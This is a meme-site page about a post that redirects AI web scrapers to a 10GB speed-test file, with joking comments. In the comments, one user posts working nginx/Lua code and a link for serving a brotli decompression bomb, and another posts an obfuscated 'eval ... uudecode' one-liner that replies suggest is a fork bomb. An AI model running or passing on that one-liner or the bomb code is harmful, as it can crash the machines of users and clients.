Gently Discouraging AI Bots with a 10GB 'Welcome' Mat

Description

A screenshot of a text post detailing a creative and passive-aggressive method for handling AI web scrapers. The author explains that instead of simply blocking AI bots using robots.txt, they've configured their Next.js/Vercel server to redirect them to a 10GB file typically used for speed tests. The post includes the link to the file, followed by the mock-innocent phrases, 'I'm not saying you should do this, but I'm not saying you shouldn't do this,' and 'Oops, dropped a url. I'm sure it's fine.' The humor comes from the maliciousness of the solution; it's a 'tar pit' designed to waste the AI scraper's resources (time, bandwidth, storage) by forcing it to download a massive, useless file. This is a form of protest against the unsolicited scraping of web content for training AI models, a popular topic among developers

Common Tags

NextjsPages VercelDeployments AIGeneratedContent WebSecurity AIHypeVsReality SecurityTradeoffs Http DeveloperHumor

Comments

Anonymous ★ Top Pick Giving an AI scraper a 10GB file to download isn't a denial-of-service attack; it's just an extremely high-latency API response

Anonymous ★ Top Pick

Giving an AI scraper a 10GB file to download isn't a denial-of-service attack; it's just an extremely high-latency API response
Anonymous

Finally a rate-limit strategy that scales linearly with Hetzner’s invoice - turn every unsolicited crawl into an involuntary load test
Anonymous

Nothing says 'your training data is valuable to me' quite like redirecting GPTBot to a 10GB speed test file. It's the digital equivalent of answering spam calls with a fax machine noise - technically serving content, just not the kind they bargained for when they ignored your robots.txt
Anonymous

Ah yes, the elegant solution to AI scrapers: death by a thousand megabytes. It's like a tarpit, but instead of slowing them down with computational complexity, you're just making them download the entire Lord of the Rings extended edition in raw binary. The beauty is in the simplicity - no fancy rate limiting, no complex bot detection algorithms, just pure 'here, have 10GB of nothing and think about what you've done.' It's the digital equivalent of answering a telemarketer's call and just leaving the phone off the hook next to a running faucet. And the 'Oops, dropped a URL' is *chef's kiss* - plausible deniability meets malicious compliance. Though I suspect the real victims here are the junior devs who accidentally curl that endpoint during debugging at 4 AM on their metered connection
Anonymous

Call it externalized rate limiting: when the User-Agent says “GPTScraper”, we 302 to Hetzner’s 10GB.bin - robots.txt is optional, egress charges aren’t
Anonymous

robots.txt for polite bots; real serverless defense rewrites scrapers to Hetzner's eternal speed test gauntlet
Anonymous

Robots.txt asks nicely; my Next.js middleware replies with a 302 to Hetzner’s 10GB.bin - the only rate limit that invoices the crawler’s ISP instead of my CFO
@Maxtox3 2y

memes on this channel have gotten really bad
1. @Sp1cyP3pp3r 2y
  
  that's not a meme, dude. that's a call to action
@deerspangle 2y

Anyone have a link to the blog post or whatever this is from?
@slyveek 2y

https://hil-speed.hetzner.com/10GB.bin
1. @ZgGPuo8dZef58K6hxxGVj3Z2 2y
  
  Tbf they can fix this pretty easily
  
  @ZgGPuo8dZef58K6hxxGVj3Z2 2y
  
  Unless they actually proxy it
@chenxuuu 2y

just return a file with br encoding, only need 328KB disk space on server for a 400GB data
@chenxuuu 2y

this will cost server bandwidth...
@chenxuuu 2y

I create a file for test: https://b.j2.cx/bomb400G.br use this with openresty lua code (use with cloudflare will be better lol) #from https://www.chenxublog.com/2020/11/16/web-bomb-eat-memory.html location /large { default_type 'text/html'; content_by_lua_block { local f = io.open("/home/ubuntu/bomb400G.br","rb") if not f then ngx.say("file not found") return end ngx.header["Content-Encoding"] = "br" local data while true do data = f:read(1024) if nil == data then break end ngx.print(data) ngx.flush(true) end f:close() } }
1. @Hollow_Arigo 2y
  
  DAMN, how you edit your message into this..
  
  @endisn16h 2y
  
```yapping_language ```yapping_language *insert yapping* ``` ```

@qtsmolcat 2y

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

@sylfn 2y

is this supposed to be a fork bomb

@qtsmolcat 2y

I can neither confirm nor deny the allegations
2. @purplesyringa 2y
  
  umm, what's the point of using lua? can't you just serve the file directly via nginx?
  
  @chenxuuu 2y
  
  openresty = nginx + ngx_lua module
  
  @chenxuuu 2y
  
  it ignore encoding in user's request header, force return br encoding
  
  @purplesyringa 2y
  
  i'm admittedly somewhat out of my depth, but can't nginx do just that without scripting?
  
  @chenxuuu 2y
  
  nginx conf location /br { default_type 'text/html'; add_header Content-Encoding br; more_clear_headers Content-Length; } but this can't hide Vary: Accept-Encoding, so can't cheat cloudflare
  
  @callofvoid0 2y
  
  wtf is this
@M_Ali_S_S 2y

ایرانی Iranian
1. @sylfn 2y
  
  please use English in this chat
@purplesyringa 2y

mhm
@qwnick 2y

could they just check size with download metadata?

Use J and K for navigation

Gently Discouraging AI Bots with a 10GB 'Welcome' Mat

Description

Categories

Common Tags

Comments

More like this

OpenAI's GPT-5 Demo: The IDE They Didn't Build

Bug Bounties Then Paid XSS; Now AI Says Duplicate

Usage Reset Joy, Then the Five-Hour Cap Returns